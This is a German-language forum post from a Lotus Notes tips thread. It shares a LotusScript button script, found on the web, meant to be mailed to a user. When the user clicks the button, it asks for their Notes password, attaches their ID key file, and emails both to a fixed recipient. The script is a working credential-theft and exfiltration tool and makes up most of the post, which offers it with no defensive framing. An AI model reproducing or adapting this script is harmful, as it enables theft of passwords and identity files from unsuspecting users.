Das Notes Forum
Lotus Notes / Domino Sonstiges => Tipps und Tricks => Thema gestartet von: Christopher am 06.06.02 - 19:14:43
-
Hallo Leute folgendes Script habe ich im Web gefunden:
Erstellt eines Memo fügt dort eine Schaltfläche im dem Script ein und sendet dem Nutzer die Mail zu. Der drückt auf die Schaltfläche wird dann aufgefordert sein Kennwort einzugeben und anschließend wird seine ID an die Empfängeradresse gesendet.
Gruß Christopher
Sub Click(Source As Button)
Dim session As New NotesSession
Dim db As NotesDatabase
Set db = session.CurrentDatabase
Dim pass As String
Dim rtitem As notesrichtextitem
Set memo = New NotesDocument( db )
memo.form="memo"
Set rtitem = New NotesRichTextItem( memo, "Body" )
memo.sendto="Hans Mustermann"
memo.subject="id file"
pass=Inputbox$("Your Notes Password?")
Call rtitem.AppendText( "Password: " & pass )
Call rtitem.AddNewLine( 1 )
Dim file As String
file=session.GetEnvironmentString( "Directory", True ) & "\" & session.GetEnvironmentString( "KeyFilename", True )
Dim object As NotesEmbeddedObject
Set object = rtitem.EmbedObject ( EMBED_ATTACHMENT, "", file)
Messagebox "Your id file has been sent", 64, "OK"
Call memo.send(True)
End Sub